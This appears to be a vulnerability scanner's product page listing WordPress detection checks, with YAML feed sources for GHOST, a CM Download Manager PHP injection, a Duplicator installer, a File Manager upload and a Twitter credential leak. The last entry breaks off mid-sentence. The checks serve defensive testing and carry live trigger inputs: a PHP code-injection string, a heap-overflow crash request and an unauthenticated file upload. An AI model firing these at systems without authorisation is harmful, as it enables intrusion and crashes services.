WordPress — 19 vulnerability checks

noctis ships 19 vulnerability checks for WordPress, covering 64 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

GNU glibc GHOST gethostbyname() heap overflow via WordPress XML-RPC

CVECVE-2015-0235
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2015-0235.yaml

Detects the GNU glibc GHOST heap buffer overflow (CVE-2015-0235) through WordPress XML-RPC, whose `pingback.ping` method resolves the source URL's host name with gethostbyname() before any other check, without authentication. The test first sends `pingback.ping` with a loopback source and a source made of a 2500-letter host name, which must both get an XML-RPC `methodResponse`. It then sends a source host made of 2500 digits, which overflows the heap in vulnerable glibc versions and kills the PHP worker handling the request. The flaw is reported when that request alone gets no reply or a 500, 502 or 503 server error while a following loopback request is answered normally. One PHP worker process crashes on a vulnerable host; nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: POST {{wp_dir}}/xmlrpc.php HTTP/1.1
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: POST {{wp_dir}}/xmlrpc.php HTTP/1.1
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: POST {{wp_dir}}/xmlrpc.php HTTP/1.1
  7. Parses / computes the next value with a Rhai script
  8. Raw TCP (TLS on HTTPS), sent verbatim: POST {{wp_dir}}/xmlrpc.php HTTP/1.1
  9. Parses / computes the next value with a Rhai script
  10. Checks ghost.how for . → finding QoD 75: GHOST (glibc gethostbyname heap overflow) via POST …/xmlrpc.php pingback.ping: a 2500-digit source host name killed the request — … — while…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2015-0235.yaml
# GNU glibc GHOST heap overflow (CVE-2015-0235) — reached through WordPress XML-RPC
#
# glibc < 2.18 (unpatched distribution builds such as RHEL/CentOS 6 glibc-2.12
# before 2.12-1.149.el6_6.5, Debian wheezy before 2.13-38+deb7u7, Ubuntu 12.04
# before 2.15-0ubuntu10.10) overflows a heap buffer in
# __nss_hostname_digits_dots() when gethostbyname*() is given a long name made
# only of digits and dots (Qualys advisory, 2015-01-27). PHP's gethostbyname()
# passes its argument straight to glibc (PHP < 5.4.38 / 5.5.22 / 5.6.6 has no
# 255-byte length cap), and WordPress >= 3.5.1 calls it on the *source* URL of
# every XML-RPC `pingback.ping` request, from wp_http_validate_url() — before
# any other check and without authentication. A 2500-digit host name therefore
# corrupts the heap of the PHP worker, which dies: mod_php (prefork) drops the
# connection without a reply; a front-end in front of the dead worker answers
# 500 (Apache + FastCGI), 502 (nginx + PHP-FPM) or 502/503 (reverse proxy).
#
# Port of OpenVAS `2015/gb_wordpress_ghost_72325.nasl` (OID
# 1.3.6.1.4.1.25623.1.0.105192, GPL-2.0-only): POST pingback.ping to
# <dir>/xmlrpc.php with the scanner IP as source host, require a
# `methodResponse`, then repeat with a host of 2500 "0" and report a connection
# reset or a "500 Internal Server Error" reply.
#
# Better than the NASL (fewer false positives, same trigger):
#   * same-length control — before the trigger, the same request with 2500 "a"
#     as host. Letters never enter the vulnerable digits-and-dots parser, so a
#     vulnerable host answers it normally; a WAF, reverse proxy or body/URL
#     length limit that rejects long input answers it with an error too, and
#     the target is then not reported (the NASL reports any 500).
#   * liveness re-check — after the trigger, the baseline request must get a
#     `methodResponse` again: the site is up and the failure was confined to
#     the request that carried the digits, not a site going down mid-scan.
#   * baseline source host 127.0.0.1 instead of the scanner address:
#     WordPress rejects loopback sources before fetching anything, so the
#     control requests never make the target connect out.
#   * 502 / 503 replies count too (nginx + PHP-FPM, reverse proxies), where
#     the NASL only knows 500 and a reset — the controls rule out a target
#     that answers those codes for other reasons.
#   * WordPress sub-directories `/wordpress/` and `/blog/` are tried too
#     (the NASL uses only the detected install directory).
# An empty reply is only read within the 3 s tcp_connect window, which the
# baseline and the same-length control must both beat for the trigger to run.
#
# Intrusive: on a vulnerable host the trigger kills one PHP worker process
# (the web server spawns a new one). No code runs and nothing is written —
# a crash is the only benign signal this memory corruption gives. Tagged
# `category: rce` + `intrusive` so it can be excluded.
uid: 73b94c96-bd29-4760-ba50-5845503af43a
name: "GNU glibc GHOST gethostbyname() heap overflow via WordPress XML-RPC (CVE-2015-0235)"
description: |
  Detects the GNU glibc GHOST heap buffer overflow (CVE-2015-0235) through
  WordPress XML-RPC, whose `pingback.ping` method resolves the source URL's host
  name with gethostbyname() before any other check, without authentication.
  The test first sends `pingback.ping` with a loopback source and a source made
  of a 2500-letter host name, which must both get an XML-RPC `methodResponse`.
  It then sends a source host made of 2500 digits, which overflows the heap in
  vulnerable glibc versions and kills the PHP worker handling the request. The
  flaw is reported when that request alone gets no reply or a 500, 502 or 503
  server error while a following loopback request is answered
  normally. One PHP worker process crashes on a vulnerable host; nothing is
  written on the target.
cves: [CVE-2015-0235]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.10
tags: [wordpress, glibc, ghost, xmlrpc, pingback, gethostbyname, heap-overflow, memory-corruption, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-0235"
  - "https://www.qualys.com/2015/01/27/cve-2015-0235/GHOST-CVE-2015-0235.txt"
  - "https://www.openwall.com/lists/oss-security/2015/01/27/9"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb"
  - "OpenVAS/Greenbone NASL 2015/gb_wordpress_ghost_72325.nasl (GPL-2.0-only)"

steps:
  # The three pingback.ping bodies and their exact byte lengths.
  - id: build-requests
    action: script
    code: |
      let head = "<?xml version=\"1.0\"?>\r\n<methodCall>\r\n <methodName>pingback.ping</methodName>\r\n <params>\r\n  <param><value><string>http://";
      let mid = "/index.php</string></value></param>\r\n  <param><value><string>http://";
      let tail = "/index.php</string></value></param>\r\n </params>\r\n</methodCall>\r\n";
      let base = head + "127.0.0.1" + mid + "127.0.0.1" + tail;
      let letters = crap(2500, "a");
      let ctrl = head + letters + mid + letters + tail;
      let digits = crap(2500, "0");
      let boom = head + digits + mid + digits + tail;
      #{ base: base, base_len: strlen(base),
         ctrl: ctrl, ctrl_len: strlen(ctrl),
         boom: boom, boom_len: strlen(boom) }
    store_as: req

  # Every step from here on runs once per candidate install directory.
  - id: init-base
    action: set_var
    var_name: base_resp
    var_value: {connected: false, banner: null}
    loop:
      over: ["", "/wordpress", "/blog"]
      var: wp_dir

  - id: init-ctrl
    action: set_var
    var_name: ctrl_resp
    var_value: {connected: false, banner: null}

  - id: init-boom
    action: set_var
    var_name: boom_resp
    var_value: {connected: false, banner: null}

  - id: init-alive
    action: set_var
    var_name: alive_resp
    var_value: {connected: false, banner: null}

  # 1. Baseline: loopback source, rejected by WordPress before any lookup.
  - id: baseline
    action: tcp_connect
    port: "{{port}}"
    send: "POST {{wp_dir}}/xmlrpc.php HTTP/1.1\r\nHost: {{target_host}}\r\nAccept: */*\r\nContent-Type: text/xml\r\nContent-Length: {{req.base_len}}\r\nConnection: close\r\n\r\n{{req.base}}"
    store_as: base_resp

  - id: is-xmlrpc
    action: script
    code: |
      type_of(base_resp.banner) == "string" && stridx(base_resp.banner, "methodResponse") >= 0
    store_as: is_xmlrpc

  # 2. Same-length control: 2500 letters never reach the digits-and-dots parser.
  - id: long-control
    action: tcp_connect
    port: "{{port}}"
    condition: "is_xmlrpc"
    send: "POST {{wp_dir}}/xmlrpc.php HTTP/1.1\r\nHost: {{target_host}}\r\nAccept: */*\r\nContent-Type: text/xml\r\nContent-Length: {{req.ctrl_len}}\r\nConnection: close\r\n\r\n{{req.ctrl}}"
    store_as: ctrl_resp

  - id: long-ok
    action: script
    code: |
      is_xmlrpc && type_of(ctrl_resp.banner) == "string" && stridx(ctrl_resp.banner, "methodResponse") >= 0
    store_as: long_ok

  # 3. Trigger: 2500 digits — gethostbyname() overflows the heap on vulnerable glibc.
  - id: trigger
    action: tcp_connect
    port: "{{port}}"
    condition: "long_ok"
    send: "POST {{wp_dir}}/xmlrpc.php HTTP/1.1\r\nHost: {{target_host}}\r\nAccept: */*\r\nContent-Type: text/xml\r\nContent-Length: {{req.boom_len}}\r\nConnection: close\r\n\r\n{{req.boom}}"
    store_as: boom_resp

  - id: trigger-failed
    action: script
    code: |
      let b = boom_resp.banner;
      if !long_ok || !boom_resp.connected { return false; }
      if type_of(b) != "string" || b == "" { return true; }
      stridx(b, "methodResponse") < 0 && ereg("^HTTP/1\\.[01] 50[023]", b)
    store_as: trigger_failed

  # 4. Liveness: the site still answers the baseline right after.
  - id: liveness
    action: tcp_connect
    port: "{{port}}"
    condition: "trigger_failed"
    send: "POST {{wp_dir}}/xmlrpc.php HTTP/1.1\r\nHost: {{target_host}}\r\nAccept: */*\r\nContent-Type: text/xml\r\nContent-Length: {{req.base_len}}\r\nConnection: close\r\n\r\n{{req.base}}"
    store_as: alive_resp

  - id: verdict
    action: script
    code: |
      let b = boom_resp.banner;
      let how = "the connection was closed without a reply";
      if type_of(b) == "string" && b != "" { how = "it was answered with a server error (" + substr(b, 0, 11) + ")"; }
      #{ crashed: trigger_failed && type_of(alive_resp.banner) == "string" && stridx(alive_resp.banner, "methodResponse") >= 0,
         how: how }
    store_as: ghost

  - id: report
    action: match
    source: ghost.how
    pattern: "."
    condition: "ghost.crashed"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 75
        evidence: "GHOST (glibc gethostbyname heap overflow) via POST {{wp_dir}}/xmlrpc.php pingback.ping: a 2500-digit source host name killed the request — {{ghost.how}} — while the same request with a 2500-letter host and loopback requests before and after got an XML-RPC methodResponse"
      stop: true

WordPress CM Download Manager CMDsearch PHP Code Injection

CVECVE-2014-8877
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2014-8877.yaml

The CM Download Manager plugin for WordPress (before 2.0.4) pastes the unauthenticated `CMDsearch` parameter of /cmdownloads/ into the body of a create_function() call, inside a double-quoted PHP string, after stripslashes(). A double quote breaks out of the string and arbitrary PHP code runs on the server (fixed in 2.0.4).

This check injects ".print("NOCTIS".(A*B))." with random A and B and confirms that the PHP-computed marker NOCTIS<A*B> is printed in the page.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{wp_dir}}/cmdownloads/?CMDsearch=%22.print(%22NOCTIS%22.({{sc.a}}*{{sc.b}})).%22
  3. Parses / computes the next value with a Rhai script
  4. Checks ck.found for ^NOCTIS[0-9]+$ → finding QoD 97: PHP code injection confirmed: GET …/cmdownloads/?CMDsearch=".print("NOCTIS".(…*…))." made the server print the PHP-computed marker … (HTTP …

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2014-8877.yaml
# WordPress CM Download Manager < 2.0.4 — CMDsearch PHP code injection
#
# lib/controllers/CmdownloadController.php, alterSearchQuery() (advisory by
# Phi Le, Bugtraq 2014-11-20):
#   $search_term = $_GET['CMDsearch'];
#   ...
#   $search_term = stripslashes($search_term);
#   add_filter('get_search_query',
#       create_function('$q', 'return "' . $search_term . '";'), 99, 1);
# The unauthenticated search term is pasted into a double-quoted PHP string
# that create_function() compiles; stripslashes() undoes WordPress's magic
# quotes, so `"` closes the string and anything after it runs as PHP when the
# page calls get_search_query(). Fixed in 2.0.4.
#
# Source NASL (2014/gb_wordpress_71204.nasl) sends CMDsearch=".phpinfo()."
# and matches `<title>phpinfo()`. This feed does better:
#   * benign, computed proof instead of dumping phpinfo(): it injects
#       ".print("NOCTIS".(A*B))."
#     with random A, B, and requires NOCTIS<A*B> in the page. The product is
#     computed by PHP and never present in the request, so a page that merely
#     reflects the search term (escaped or not — e.g. the fixed 2.0.4) cannot
#     produce it. print() runs as soon as get_search_query() is called (the
#     plugin's search box, like the NASL's phpinfo() depends on), even if the
#     returned value itself is never echoed.
# PHP 8+ removed create_function(), so the plugin cannot be exploited there and
# no finding is expected — correct behaviour.
#   * beyond the NASL's detected install dir, it walks the usual WordPress
#     sub-directories.
# Nothing is written on the target; the injected code only prints a marker.
#
# Source: OpenVAS/Greenbone NASL 2014/gb_wordpress_71204.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.105120, GPL-2.0-only)
uid: 87b7db97-00c0-44b9-be11-3b79108d5b55
name: "WordPress CM Download Manager CMDsearch PHP Code Injection (CVE-2014-8877)"
description: |
  The CM Download Manager plugin for WordPress (before 2.0.4) pastes the
  unauthenticated `CMDsearch` parameter of /cmdownloads/ into the body of a
  create_function() call, inside a double-quoted PHP string, after
  stripslashes(). A double quote breaks out of the string and arbitrary PHP
  code runs on the server (fixed in 2.0.4).

  This check injects ".print("NOCTIS".(A*B))." with random A and B and
  confirms that the PHP-computed marker NOCTIS<A*B> is printed in the page.
cves: [CVE-2014-8877]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [wordpress, plugin, cm-download-manager, cminds, code-injection, php, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-8877"
  - "https://seclists.org/bugtraq/2014/Nov/103"
  - "https://www.exploit-db.com/exploits/35324"
  - "https://nmap.org/nsedoc/scripts/http-vuln-cve2014-8877"
  - "OpenVAS/Greenbone NASL 2014/gb_wordpress_71204.nasl (GPL-2.0-only)"

steps:
  # ── Random operands → expected marker ──────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      // A*B < 2^31: exact even on 32-bit PHP (a larger product prints as a float)
      let a = rand_int(10007, 46337);
      let b = rand_int(10007, 46337);
      #{ a: a, b: b, marker: "NOCTIS" + (a * b) }
    store_as: sc

  # ── Per candidate WordPress base path (loop group) ─────────────────────────
  # Pre-initialise the stored result read by the script: a failed request
  # leaves store_as unset and an undefined var would abort the whole test.
  - id: init-resp
    action: set_var
    var_name: inj_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/wordpress", "/blog", "/wp"]
      var: wp_dir

  # CMDsearch=".print("NOCTIS".(A*B))." — the create_function body becomes
  #   return "".print("NOCTIS".(A*B))."";
  - id: inject
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/cmdownloads/?CMDsearch=%22.print(%22NOCTIS%22.({{sc.a}}*{{sc.b}})).%22"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 15
    store_as: inj_resp

  - id: check-marker
    action: script
    code: |
      let hit = type_of(inj_resp.body) == "string" && inj_resp.body.contains(sc.marker);
      #{ rce: hit, found: if hit { sc.marker } else { "" } }
    store_as: ck

  - id: report-rce
    action: match
    source: ck.found
    pattern: "^NOCTIS[0-9]+$"
    condition: "ck.rce"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "PHP code injection confirmed: GET {{wp_dir}}/cmdownloads/?CMDsearch=\".print(\"NOCTIS\".({{sc.a}}*{{sc.b}})).\" made the server print the PHP-computed marker {{sc.marker}} (HTTP {{inj_resp.status}})"
      stop: true

WordPress Duplicator Plugin < 1.2.42 Leftover Installer Remote Code Execution

CVECVE-2018-17207
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2018-17207.yaml

Snap Creek Duplicator (WordPress plugin) before 1.2.42 leaves installer.php / installer-backup.php reachable after a migration. An unauthenticated attacker can run the installer's database setup step and inject PHP code into wp-config.php, achieving remote code execution. This check requests both installer files under the web root and the common WordPress subdirectories (GET, then POST action_step=1), confirms the Duplicator installer page and extracts its version; an exposed installer older than 1.2.42 is reported. The code-injection step itself is not sent: it overwrites the site's wp-config.php database settings and would break the target.

How noctis detects it

  1. HTTP(S) request GET {{dup_path}}
  2. HTTP(S) request POST {{dup_path}} with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks dup.version for ^[0-9] → finding QoD 75: WordPress Duplicator Plugin < 1.2.42 Leftover Installer Remote Code Execution (CVE-2018-17207)

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2018-17207.yaml
# CVE-2018-17207 — WordPress Duplicator plugin < 1.2.42: leftover installer
# (installer.php / installer-backup.php) lets an unauthenticated attacker inject
# PHP into wp-config.php through the database setup step (Synacktiv, 2018).
#
# Ported from OpenVAS/Greenbone NASL
# 2018/wordpress/gb_wordpress_duplicator_rce_vuln.nasl (GPL-2.0-only), with the
# Nuclei template http/cves/2018/CVE-2018-17207.yaml as the second request form.
#
# Why no exploitation proof (project rule exception, "si possible"):
# the only exploit path is the installer's step 3 (action_ajax=3), which
# REWRITES the live wp-config.php with attacker-supplied DB_HOST/DB_USER/
# DB_PASSWORD/DB_NAME — the injected PHP rides in one of those defines. The
# scanner cannot know the site's real database credentials, so any write
# replaces them and takes the WordPress site down (the Nuclei template keeps
# its RCE requests commented out for exactly this reason). There is no
# read-only or self-reverting variant. The feed therefore stops at the
# strongest non-destructive evidence: the exploitable installer itself is
# reachable unauthenticated AND reports a vulnerable version (< 1.2.42).
#
# Beyond the NASL:
#   - The NASL only probes under the WordPress directory found by its separate
#     WordPress detection; if that detection misses (installer left in the
#     web root of a non-WP vhost, WP in a subdir), it reports nothing. This
#     feed probes the web root plus the common WordPress subdirectories
#     /wordpress, /wp and /blog directly.
#   - Besides the NASL's GET, it also sends the Nuclei form (POST
#     action_step=1), so an installer that only renders step 1 on POST is found.
#   - The version is read with the NASL's header regex, falling back to the
#     "Plugin Version:" label of the step-1 archive panel (Nuclei's extractor),
#     instead of failing silently when the header markup differs.
uid: 2ca076c8-1070-458b-bdff-926c9242b277
name: "WordPress Duplicator Plugin < 1.2.42 Leftover Installer Remote Code Execution (CVE-2018-17207)"
description: |
  Snap Creek Duplicator (WordPress plugin) before 1.2.42 leaves installer.php /
  installer-backup.php reachable after a migration. An unauthenticated attacker can
  run the installer's database setup step and inject PHP code into wp-config.php,
  achieving remote code execution. This check requests both installer files under
  the web root and the common WordPress subdirectories (GET, then POST
  action_step=1), confirms the Duplicator installer page and extracts its version;
  an exposed installer older than 1.2.42 is reported. The code-injection step itself
  is not sent: it overwrites the site's wp-config.php database settings and would
  break the target.
cves: [CVE-2018-17207]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [wordpress, duplicator, installer, code-injection, rce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-17207"
  - "https://www.synacktiv.com/posts/exploit/wordpress-duplicator-plugin-arbitrary-code-execution.html"
  - "OpenVAS/Greenbone NASL 2018/wordpress/gb_wordpress_duplicator_rce_vuln.nasl (GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-17207.yaml"

steps:
  # Every step from here runs once per candidate installer URL (loop group).
  # Pre-initialise both stored results: a failed request leaves store_as unset,
  # and the parse script would then abort the whole test.
  - id: init-get-resp
    action: set_var
    var_name: get_resp
    var_value: {status: 0, body: null}
    loop:
      over:
        - "/installer.php"
        - "/installer-backup.php"
        - "/wordpress/installer.php"
        - "/wordpress/installer-backup.php"
        - "/wp/installer.php"
        - "/wp/installer-backup.php"
        - "/blog/installer.php"
        - "/blog/installer-backup.php"
      var: dup_path

  - id: init-post-resp
    action: set_var
    var_name: post_resp
    var_value: {status: 0, body: null}

  # NASL request: plain GET of the installer.
  - id: get-installer
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{dup_path}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: get_resp

  # Nuclei request: POST action_step=1 renders the installer's step-1 page
  # (archive details incl. "Plugin Version:"). Read-only: step 1 only displays.
  - id: post-installer
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{dup_path}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "action_step=1"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: post_resp

  # Identify the Duplicator installer page and extract its version.
  # Installer markers (NASL): <title>Duplicator</title> AND one of the
  # Duplicator-specific labels. Version: NASL header regex first, then the
  # step-1 "Plugin Version:" label. Vulnerable when version < 1.2.42.
  - id: parse
    action: script
    code: |
      let found = false;
      let version = "";
      let via = "";
      let bodies = [["GET", get_resp], ["POST action_step=1", post_resp]];
      for pair in bodies {
        let r = pair[1];
        if version != "" || r.status != 200 || type_of(r.body) != "string" {
          continue;
        }
        let b = r.body;
        if stridx(b, "<title>Duplicator</title>") < 0 {
          continue;
        }
        if stridx(b, "<label>Plugin Version:</label>") < 0 && stridx(b, "dupx-header-version") < 0 {
          continue;
        }
        found = true;
        let m = eregmatch("<td class=\"dupx-header-version\">[^v]+version: ([0-9.]+)", b);
        if m.len() < 2 {
          m = eregmatch("Plugin Version:[^0-9]{0,120}?([0-9]+\\.[0-9]+[0-9.]*)", b);
        }
        if m.len() >= 2 {
          version = m[1];
          via = pair[0];
        }
      }
      let vuln = false;
      if version != "" {
        let p = split(version, ".");
        let maj = int(p[0]);
        let min = if p.len() > 1 { int(p[1]) } else { 0 };
        let pat = if p.len() > 2 { int(p[2]) } else { 0 };
        vuln = maj < 1 || (maj == 1 && (min < 2 || (min == 2 && pat < 42)));
      }
      #{ found: found, version: version, via: via, vuln: vuln }
    store_as: dup

  - id: report
    action: match
    source: dup.version
    pattern: "^[0-9]"
    condition: "dup.vuln"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        title: "WordPress Duplicator Plugin < 1.2.42 Leftover Installer Remote Code Execution (CVE-2018-17207)"
        description: >
          The Duplicator installer {{dup_path}} is reachable without authentication
          and reports version {{dup.version}} (< 1.2.42). Its database setup step
          writes unsanitised form values into wp-config.php, letting an attacker
          inject PHP code and execute it. The injection step was not sent because
          it overwrites the site's database settings. Delete installer.php,
          installer-backup.php and the installer archive, and update Duplicator to
          1.2.42 or later.
        evidence: "Duplicator installer page (<title>Duplicator</title>) served unauthenticated at {{dup_path}} ({{dup.via}}, HTTP 200), installer version {{dup.version}} < 1.2.42"
      stop: true

WordPress File Manager Plugin Unauthenticated Arbitrary File Upload

CVECVE-2020-25213
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2020-25213.yaml

Tests the WordPress File Manager plugin for the unauthenticated arbitrary file write that underpins CVE-2020-25213. The plugin ships the bundled elFinder library with its `connector.minimal.php` endpoint reachable without authentication; the vulnerable versions (<= 6.8) accept elFinder `cmd=upload` requests, letting an unauthenticated attacker drop files under wp-content/plugins/wp-file-manager/lib/files/ — the real-world exploit uploads a PHP webshell there. Detection (inert, write-free of code): this feed performs a benign write-then-read differential. It uploads a harmless text file whose body is a per-run random token ({{oob_token}}, no PHP, no code) via the unauthenticated connector, then reads the file back from the plugin's lib/files/ directory and matches the same token. Only a target where the unauthenticated connector genuinely accepted and stored the upload will echo the token back — a patched install (connector removed / access-restricted) returns 403/404 and the read-back fails, so no finding is produced. The match keys on the scanner-generated token, never on a mock-only marker. Actively exploited in the wild; CISA KEV added 2021-11-03.

How noctis detects it

  1. HTTP(S) request POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php with a crafted body
  2. HTTP(S) request GET /wp-content/plugins/wp-file-manager/lib/files/noctis-{{oob_token}}.txt
  3. Checks read_resp.body for NOCTISWFMRB- → finding QoD 97: WordPress File Manager elFinder connector (unauthenticated) accepted an inert upload and served it back from lib/files/: write-then-read of…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2020-25213.yaml
uid: 8ab813ca-e81e-4788-8637-8d5c16f15b02
name: "WordPress File Manager Plugin Unauthenticated Arbitrary File Upload (CVE-2020-25213)"
description: |
  Tests the WordPress File Manager plugin for the unauthenticated arbitrary
  file write that underpins CVE-2020-25213. The plugin ships the bundled
  elFinder library with its `connector.minimal.php` endpoint reachable without
  authentication; the vulnerable versions (<= 6.8) accept elFinder `cmd=upload`
  requests, letting an unauthenticated attacker drop files under
  wp-content/plugins/wp-file-manager/lib/files/ — the real-world exploit uploads
  a PHP webshell there.
  Detection (inert, write-free of code): this feed performs a benign write-then-read
  differential. It uploads a harmless text file whose body is a per-run random token
  ({{oob_token}}, no PHP, no code) via the unauthenticated connector, then reads the
  file back from the plugin's lib/files/ directory and matches the same token. Only a
  target where the unauthenticated connector genuinely accepted and stored the upload
  will echo the token back — a patched install (connector removed / access-restricted)
  returns 403/404 and the read-back fails, so no finding is produced. The match keys on
  the scanner-generated token, never on a mock-only marker.
  Actively exploited in the wild; CISA KEV added 2021-11-03.
cves: [CVE-2020-25213]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [wordpress, wp-file-manager, elfinder, upload, rce, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-25213"
  - "https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25213.yaml"

steps:
  # Initialise the condition var so a skipped/failed upload leaves a defined value.
  - id: init
    action: set_var
    var_name: uploaded
    var_value: false

  # Upload an INERT text file (body = per-run random token, no PHP / no code) to the
  # unauthenticated elFinder connector. Vulnerable plugin: accepts cmd=upload and stores
  # the file, returning elFinder JSON. Patched/removed: 403 or 404.
  - id: upload
    action: http_request
    method: POST
    path: /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCVE202025213"
    body: "------noctisCVE202025213\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\nnoctisprobe\r\n------noctisCVE202025213\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n------noctisCVE202025213\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n------noctisCVE202025213\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"noctis-{{oob_token}}.txt\"\r\nContent-Type: text/plain\r\n\r\nNOCTISWFMRB-{{oob_token}}\r\n------noctisCVE202025213--\r\n"
    store_as: upload_resp
    on_success:
      set_vars:
        uploaded: true

  # Read the uploaded file back from the plugin's file store. Only a target that
  # genuinely accepted and stored the unauthenticated upload serves it back.
  - id: readback
    action: http_request
    method: GET
    path: /wp-content/plugins/wp-file-manager/lib/files/noctis-{{oob_token}}.txt
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "uploaded == true"
    store_as: read_resp

  # Match the scanner-generated token in the read-back body. This confirms an
  # unauthenticated arbitrary file write round-trip — the vulnerable condition.
  # Pattern is a literal anchor the scanner itself uploaded (read fields are literal, not
  # templated); the per-run random token is verified in the condition via stridx, so a
  # response that does not carry THIS run's token cannot satisfy the match.
  - id: confirm
    action: match
    source: read_resp.body
    pattern: "NOCTISWFMRB-"
    condition: "uploaded == true && read_resp.status == 200 && stridx(read_resp.body, oob_token) >= 0"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "WordPress File Manager elFinder connector (unauthenticated) accepted an inert upload and served it back from lib/files/: write-then-read of token noctis-{{oob_token}}.txt confirms the arbitrary file write of CVE-2020-25213 (status {{read_resp.status}})"

WordPress Social Network Tabs Plugin Twitter API Credentials Disclosure

CVECVE-2018-20555
Severitycritical · CVSS 9.8
Categoryexposure — Exposure
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2018-20555.yaml

The Social Network Tabs plugin 1.7.1 for WordPress (Design Chemical) writes the site owner's Twitter API credentials (consumer key and secret, access token and secret) into the JavaScript configuration of every page that shows its widget, which lets any visitor take over the linked Twitter account. This check requests the WordPress home page (web root, /wordpress, /blog, /wp) and reports when the page loads the plugin's inc/dcwp_twitter.php widget and the widget configuration that follows that URL carries at least one non-empty consumer_key, consumer_secret, access_token or access_token_secret value. The disclosed values are not copied into the finding: only the names of the exposed fields and their lengths are reported.

How noctis detects it

  1. HTTP(S) request GET {{wp_dir}}/
  2. Parses / computes the next value with a Rhai script
  3. Checks snt.hit for ^twitter-credentials-disclosed$ → finding QoD 75: The page …/ loads the Social Network Tabs widget (social-network-tabs/inc/dcwp_twitter.php) and its inline config discloses … Twitter API c…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2018-20555.yaml
# CVE-2018-20555 — Design Chemical "Social Network Tabs" plugin 1.7.1 for
# WordPress prints the site owner's Twitter API credentials (consumer_key,
# consumer_secret, access_token, access_token_secret) into the inline jQuery
# widget config of every page that shows the tabs widget, next to the URL of
# the plugin's inc/dcwp_twitter.php proxy. Anyone who loads the page can take
# over the linked Twitter account.
#
# Detection ported from OpenVAS/Greenbone NVT
# 2019/wordpress/gb_wordpress_social_network_tabs_info_discl_vuln.nasl
# (GPL-2.0-only): fetch the WordPress home page, require the
# "social-network-tabs/inc/dcwp_twitter.php" marker and one of the
# `<key>: "` config entries. Differences from the NASL:
#
#   * A credential must actually be disclosed: the value after `<key>: "` has
#     to be non-empty. A widget with no Twitter app configured prints empty
#     strings and leaks nothing; the NASL reports it anyway. (Its
#     `'"access_token: "'` alternative also carries a stray leading quote and
#     can never match the plugin's output; the other three keys cover it.)
#   * The leaked values never reach the finding: the report step matches a
#     fixed placeholder and the evidence lists only the key names and value
#     lengths.
#   * Keys are only read from the widget config (the 4 KiB after the
#     dcwp_twitter.php URL), so another plugin's `access_token:` elsewhere on
#     the page does not count; quoted (JSON-style) key names and `\/`-escaped
#     paths are accepted too.
#   * The home page is tried under the web root and the common install dirs
